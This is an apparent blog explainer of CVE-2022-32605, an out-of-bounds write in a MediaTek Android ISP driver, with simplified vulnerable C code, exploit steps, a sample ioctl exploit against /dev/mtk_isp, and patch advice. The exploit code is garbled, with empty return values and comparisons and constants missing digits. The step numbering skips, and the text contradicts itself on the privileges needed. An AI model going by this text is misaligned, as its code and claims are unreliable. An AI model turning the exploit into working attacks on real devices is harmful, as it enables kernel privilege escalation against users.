In June 2022, a critical vulnerability was disclosed affecting the ISP (Image Signal Processor) driver found in certain MediaTek-powered Android devices. This vulnerability, identified as CVE-2022-32605, concerns a lack of proper bounds checking, leading to an out-of-bounds write. If exploited by a local attacker, this issue could result in escalation of privilege to system-level access—paving the way for more severe device compromises.

This article gives an exclusive, clear breakdown of the vulnerability, how it can be exploited, steps to mitigate risk, as well as code snippets for better understanding.

What is CVE-2022-32605?

CVE-2022-32605 is categorized as a local privilege escalation bug in the ISP driver component of some Android devices that use MediaTek chipsets. The root cause is an incorrect bounds check when processing data, leading to the potential for memory corruption via an out-of-bounds write.

Why is this critical?

- Local attacker with system execution privileges can exploit this (e.g., someone running code on your phone).

The Vulnerable Code

The flaw lies in the ISP driver's ioctl handler logic—handling requests from user apps or processes. When copying user-provided data into kernel memory, the driver doesn't validate the user-supplied index or size parameter, allowing out-of-bounds writes.

A simplified version might look like this (in C)

#define MAX_ENTRIES 16

int process_user_request(user_req *req) {
    int idx = req->index;
    int data = req->data;

    // Incorrect bounds check: 'idx' is not verified properly
    isp_entries[idx] = data;  // Vulnerable: could write out of bounds!

    return ;
}

What’s wrong?

- If an attacker sets index = 16 or higher, the write happens outside isp_entries array, corrupting sensitive memory or control structures.
- Kernel or privileged code may later use this corrupted data, leading to escalated privileges or system instability.

Exploit Details

A local app (no root needed!) with the correct access could abuse this vulnerability to achieve arbitrary code execution as system.

Steps a sample exploit may take

1. Open the vulnerable device node, usually something like /dev/mtk_isp.

Send payload via ioctl call.

4. Corrupt kernel structure or function pointer to escalate privilege or perform arbitrary kernel actions.

Example Exploit Code

> Warning: This code is for educational demonstration and should NOT be used maliciously.

#include <fcntl.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <string.h>

typedef struct {
    int index;
    int data;
} user_req;

int main() {
    int fd = open("/dev/mtk_isp", O_RDWR);
    if (fd < ) {
        perror("open");
        return 1;
    }

    user_req req;
    req.index = 100; // out-of-bounds index!
    req.data = x41414141;

    ioctl(fd, xC0045601, &req);
    close(fd);

    printf("Exploit sent.\n");
    return ;
}

Real-World Attack

Attackers may use this as a *step 2* in a chain, first getting code execution via a less powerful app-level bug, then escalating this way to get persistent root access.

Mitigation and Patching

MediaTek assigned Patch ID: ALPS07213898 for this issue. Device vendors rolled out the fix in firmware updates after mid-2022.

Use trusted sources: Only install apps from official stores.

- Monitor device manufacturers: For advisory updates relating to MediaTek components and ISP drivers.

References

- NIST National Vulnerability Database - CVE-2022-32605
- MediaTek Security Bulletin June 2022
- Google Android Security Bulletin June 2022
- Security Patch Reference (ALPS07213898)

Conclusion

CVE-2022-32605 represents a classic yet dangerous kernel bug. Incorrect bounds checks are a recurring problem leading to severe vulnerabilities. On a mobile device, this means a third-party app could try to gain complete control using a flaw in a hardware driver, exploiting the device's highest privileges.

Stay safe: Ensure your device is up to date, and if your phone is from mid-2022 or earlier and has MediaTek chips, double-check for available security patches.


> If you want to dig deeper or need vendor-specific guidance, see the referenced advisories above or contact your device manufacturer.

Timeline

Published on: 11/08/2022 21:15:00 UTC
Last modified on: 11/10/2022 13:54:00 UTC